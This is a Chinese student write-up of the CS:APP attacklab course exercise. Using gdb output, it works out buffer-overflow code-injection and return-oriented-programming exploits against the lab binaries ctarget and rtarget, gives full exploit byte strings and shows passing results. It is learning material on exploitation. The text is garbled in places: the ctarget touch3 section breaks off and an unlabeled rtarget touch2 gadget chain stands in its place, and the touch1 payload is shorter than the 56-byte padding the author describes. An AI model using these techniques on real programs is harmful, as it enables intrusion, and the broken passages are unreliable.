

实验：attacklab

一、实验目的

利用所学知识与gdb调试工具完成attacklab中五个缓冲区溢出攻击实验，以提高对gdb的掌握程度和对缓冲区溢出攻击的理解。

二、实验思路

1、ctarget — touch1

根据实验说明“Your task is to get CTARGET to execute the code for touch1 when getbuf executes its return statement, rather than returning to test.”

以及

```
1 void test()
2 {
3     int val;
4     val = getbuf();
5     printf("No exploit.  Getbuf returned 0x%x\n", val);
6 }
```

When getbuf executes its return statement (line 5 of getbuf), the program ordinarily returns to the caller of test (at line 5 of this function). We want to change this behavior. Within ctarget there is code for a function touch1 having the following C representation:

```
1 void touch1()
2 {
3     vlevel = 1;          /* Part of validation protocol */
4     printf("Touch1!: You called touch1()\n");
5     validate(1);
6     exit(0);
7 }
```

在函数调用getbuf得到我们输入的内容后，再返回的过程中应该返回touch1而不是test。

且根据touch1的c代码可以得知除此之外没有别的要求，因此只需将getbuf的return address用touch1的地址覆盖掉即可。根据直接对ctarget反汇编的代码可得touch1函数的相对地址是19ce。

通过gdb调试进入ctarget并对getbuf函数进行反汇编可得

```
Dump of assembler code for function getbuf:
=> 0x00005555555559b8 <+0>:      sub     $0x38,%rsp
0x00005555555559bc <+4>:      mov     %rsp,%rdi
0x00005555555559bf <+7>:      callq  0x555555555c58 <Gets>
0x00005555555559c4 <+12>:     mov     $0x1,%eax
0x00005555555559c9 <+17>:     add     $0x38,%rsp
0x00005555555559cd <+21>:     retq
End of assembler dump.
(gdb)
```

而getbuf的相对地址为19b8，因此可得出touch1的地址为0x00005555555559ce。

在观察getbuf函数中的汇编代码，得 19b8: 48 83 ec 38 sub \$0x38,%rsp
由此可见栈区内一共有0x38 = 56字节的空间，所以需要先将这56个字节的空间填满才能用touch1的地址覆盖return address。

因此touch1对应的答案为：ff
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ce 59 55 55 55 00 00

ctarget — touch2

通过查看实验说明得：

```
1 void touch2(unsigned val)
2 {
3     vlevel = 2; /* Part of validation protocol */
4     if (val == cookie) {
5         printf("Touch2!: You called touch2(0x%.8x)\n", val);
6         validate(2);
7     } else {
8         printf("Misfire: You called touch2(0x%.8x)\n", val);
9         fail(2);
10    }
11    exit(0);
12 }
```

本题除了要能使getbuf最后返回至touch2，还要让val的值与cookie（0x16e21314）相等。通过查看反汇编代码可知val对应的寄存器是%rdi。而在getbuf和touch2函数中都无法直接对%rdi赋值，故需要自己写一个对%rdi赋值的函数并返回至touch2。

因为二进制代码可以在栈中运行，那么只需写一个汇编代码对他编译在反汇编即可得到二进制（十六进制）代码，将其放入栈中即可。而这个汇编代码能够：1、完成对%rdi的赋值 2、正确返回到touch2。

因此只需用movq对%rdi进行赋值，然后在向栈中pushq一个touch2的地址即可，又实验发现如果直接用pushq对立即数操作的话只会取他的后32位，因此更换为先用movq对随便一个寄存器（%rdx）赋值，再将%rdx用pushq指令放入栈中，最后在ret即可。因此最终得反汇编代码：

```

0:  bf 14 13 e2 16          mov     $0x16e21314,%edi
5:  48 ba fc 59 55 55 55    movabs  $0x555555559fc,%rdx
c:  55 00 00
f:  52                      push    %rdx
10: c3                      retq

```

而getbuf的return address只需被替换为%rsp的首地址即可，通过gdb查看可得：

```
(gdb) display $rsp
1: $rsp = (void *) 0x55658ed8
```

因此最终touch2的答案为：bf 14 13 e2 16 48 ba fc 59 55 55 55 55 00 00 52 c3 00 00 00 00 00 00 00
00 00 00 00 bf 14 13 e2 16 48 ba fc 59 55 55 55 55 00 00 52 c3 00 00 00 00 00 00 00 00 00 00
d8 8e 65 55 00 00 00 00

ctarget — touch3

```
1 /* Compare string to hex representation of unsigned value */
2 int hexmatch(unsigned val, char *sval)
3 {
4     char cbuf[110];
```

```

5      /* Make position of check string unpredictable */
6      char *s = cbuf + random() % 100;
7      sprintf(s, "%.8x", val);
8      return strncmp(sval, s, 9) == 0;
9  }
10
11 void touch3(char *sval)
12 {
13     vlevel = 3; /* Part of validation protocol */
14     if (hexmatch(cookie, sval)) {
15         printf("Touch3!: You called touch3(\"%s\")\n", sval);
16         validate(3);
17     } else {
18         printf("Misfire: You called touch3(\"%s\")\n", sval);
19         fail(3);
20     }
21 exit(0);
22 }

```

观察实验说明的c代码可知，本题类似于touch2，但需将cookie对应的十六进制的编码转为字符串类型再赋值给%rdi。

在一开始直接将cookie对应的十六进制的字符串类型的编码赋值给%rdi后，发现函数将%rdi的值当做地址调用了

```

(gdb)
hexmatch (val=383914772,
          sval=0x3136653231333134 <error: Cannot access memory at address 0x3136653231
333134>) at visible.c:62
62      in visible.c

```

又仔细观察了上面c代码后发现rdi对应的sval是地址，因此不能通过直接给%rdi赋值的方法来通过本关。而是应该讲cookie对应的十六进制的字符串类型的编码放在内存的某一个位置，再将该位置的地址赋值给%rdi以便之后的调用。

因为在getbuf时给%rsp分配了0x38个字节的空间，除去要输入的二进制代码以外应该还有多余的空间用以存放cookie，但hexmatch函数中的一系列push以及对%rsp的直接操作可能会将cookie的值覆盖。因此通过gdb调试查看%rsp在touch3调用hexmatch前后的变化（图中的地址为getbuf函数中%rsp-0x38的地址）：

```

(gdb) x/56xb 0x55658ed8
0x55658ed8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x55658ee0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x55658ee8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x55658ef0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x55658ef8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x55658f00: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x55658f08: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

```

```

(gdb) x/56xb 0x55658ed8
0x55658ed8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x55658ee0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x55658ee8: 0x00 0xa5 0xfc 0x0f 0x66 0xb4 0x5e 0x8d
0x55658ef0: 0x00 0xfa 0xdc 0xf7 0xff 0x7f 0x00 0x00
0x55658ef8: 0xe8 0x5f 0x68 0x55 0x00 0x00 0x00 0x00
0x55658f00: 0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x55658f08: 0x2f 0x5b 0x55 0x55 0x55 0x55 0x00 0x00

```

发现只有前16个字节没有被覆盖掉。但考虑到要插入栈中的二进制代码可能不止8个字节，因此需要找其他地方存放cookie的值。扩大查询%rsp的范围得：

因此popq %rax对应的地址为0x0055555555bc0, movq %rax,%rdi对应的地址为0x0055555555bc4。

因此最终代码为：

```
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 5b 55 55 55 55 00 00
14 13 e2 16 00 00 00 00 c4 5b 55 55 55 55 00 00 fc 59 55 55 55 55 00 00
```

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 //用56个字节覆盖掉%rsp
c0 5b 55 55 55 55 00 00 //popq %rax操作对应的地址
14 13 e2 16 00 00 00 00 //cookie的值
c4 5b 55 55 55 55 00 00 //movq %rax,%rdi操作对应的地址
fc 59 55 55 55 55 00 00 //touch2的地址
```

rtarget — touch3

类似上一题，用本关的的处理方法再做一遍ctarget中的touch3。在说明中提到本关需要用到8个指令，因此先提取start_farm到end_farm所有能用的指令（已省略retq对应的十六进制码）：

```

1bb6:  b8 b0 4c 89 c7      mov  $0xc7894cb0,%eax      movl %eax,%edi↵
↵
1bbc:  b8 06 35 be 58      mov  $0x58be3506,%eax      popq %rax↵
↵
1bc2:  8d 87 48 89 c7 c3    lea  -0x3c3876b8(%rdi),%eax  movq %rax,%rdi↵
↵
1bcf:  b8 f6 48 89 c7      mov  $0xc78948f6,%eax      movq %rax,%rdi↵
↵
1bd5:  8d 87 4a 89 c7 90    lea  -0x6f3876b6(%rdi),%eax  movl %eax,%edi↵
↵
1be3:  b8 58 90 c3 ee      mov  $0xee39058,%eax      popq %rax↵
↵
1c01:  8d 87 89 ee 38 c0    lea  -0x3fc73177(%rdi),%eax  movl %ecx,%esi
(cmp %al,%al)↵
↵
1c0e:  b8 48 89 e0 90      mov  $0x90e08948,%eax      movq %rsp,%rax↵
↵
1c3b:  b8 48 89 e0 90      mov  $0x90e08948,%eax      movq %rsp,%rax↵
↵
1c5a:  8d 87 89 c2 c3 db    lea  -0x243c3d77(%rdi),%eax  movl %eax,%edx↵
↵
1c68:  b8 4a 89 e0 c3      mov  $0xc3e0894a,%eax      movl %esp,%eax↵
↵
1c74:  b8 89 ee 38 db      mov  $0xdb38ce89,%eax      movl %ecx,%esi
(cmpl %bl,%bl)↵
↵
1c7a:  8d 87 89 d1 08 db    lea  -0x24f72e77(%rdi),%eax  movl %edx,%ecx
(cmpl %bl,%bl)↵
↵
1c81:  b8 89 d1 08 c9      mov  $0xc908d189,%eax      movl %edx,%ecx
(cmpl %cl,%cl)↵
↵
1c87:  b8 a7 49 89 e0      mov  $0xe08949a7,%eax      movl %esp,%eax↵
↵
1c93:  c7 07 58 89 e0 c3    movl $0xc3e08958,%rdi      movl %esp,%eax↵
↵
1ca1:  c7 07 89 c2 84 d2    movl $0xd284c289,%rdi      movl %eax,%edx
(testb %dl,%dl)↵

```

以及代码中本身就可能要用到的一条：

```
1bef:  48 8d 04 37      lea  (,%rdi,%rsi,1),%rax↵
```

因为要将%rdi赋值为地址，lea操作必不可少，故可从 `lea (,%rdi,%rsi,1),%rax` 倒推得到需要的代码，由此可知该条语句的下一句应为 `movq %rax,%rdi`。现在开始向上倒推。

因为cookie是放在栈中的，因此%rdi应该是%rsp的首地址而%rsi应该是存放cookie的地址相对%rsp的偏移量。查询上图中的指令发现将%rdi赋值为%rsp的操作可由 `movq %rsp,%rax` 和 `movq %rax,%rdi` 来实现。而对于%rsi，与其有关的操作只有 `movl %ecx,%esi`，在发现和%ecx有关的操作只有 `movl %edx,%ecx`，进而推得 `movl %eax,%edx`，根据touch2的经验可将%rax从栈中弹出来实现之后赋值的操作。因此汇编代码应为：


```

c0 5b 55 55 55 55 00 00 popq %rax
48 00 00 00 00 00 00 00 %rax的值 (cookie的偏移量)
5c 5c 55 55 55 55 00 00 movl %eax,%edx
7c 5c 55 55 55 55 00 00 movl %edx,%ecx
75 5c 55 55 55 55 00 00 movl %ecx,%esi
ef 5b 55 55 55 55 00 00 lea (%rdi,%rsi,1),%rax
c4 5b 55 55 55 55 00 00 movq %rax,%rdi
13 5b 55 55 55 55 00 00 touch3的地址
31 36 65 32 31 33 31 34 cookie对应的十六进制的字符串类型的值

```

三、实验结果截图

```

2018202196@VM-0-46-ubuntu: ~/target83
2018202196@VM-0-46-ubuntu:~$ cd target83
2018202196@VM-0-46-ubuntu:~/target83$ cat attackc1.txt | ./hex2raw | ./ctarget
Cookie: 0x16e21314
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
2018202196@VM-0-46-ubuntu:~/target83$ cat attackc2.txt | ./hex2raw | ./ctarget
Cookie: 0x16e21314
Type string:Touch2!: You called touch2(0x16e21314)
Valid solution for level 2 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
2018202196@VM-0-46-ubuntu:~/target83$ cat attackc3.txt | ./hex2raw | ./ctarget
Cookie: 0x16e21314
Type string:Touch3!: You called touch3("16e21314")
Valid solution for level 3 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
2018202196@VM-0-46-ubuntu:~/target83$ cat attackr2.txt | ./hex2raw | ./rtarget
Cookie: 0x16e21314
Type string:Touch2!: You called touch2(0x16e21314)
Valid solution for level 2 with target rtarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
2018202196@VM-0-46-ubuntu:~/target83$ cat attackr3.txt | ./hex2raw | ./rtarget
Cookie: 0x16e21314
Type string:Touch3!: You called touch3("16e21314")
Valid solution for level 3 with target rtarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
2018202196@VM-0-46-ubuntu:~/target83$

```

31	10	Fri Dec 6 20:44:01 2019	100	10	25	25	35	5
32	83	Fri Dec 6 20:44:01 2019	100	10	25	25	35	5
33	10	Fri Nov 29 14:56:33 2019	95	10	25	25	35	0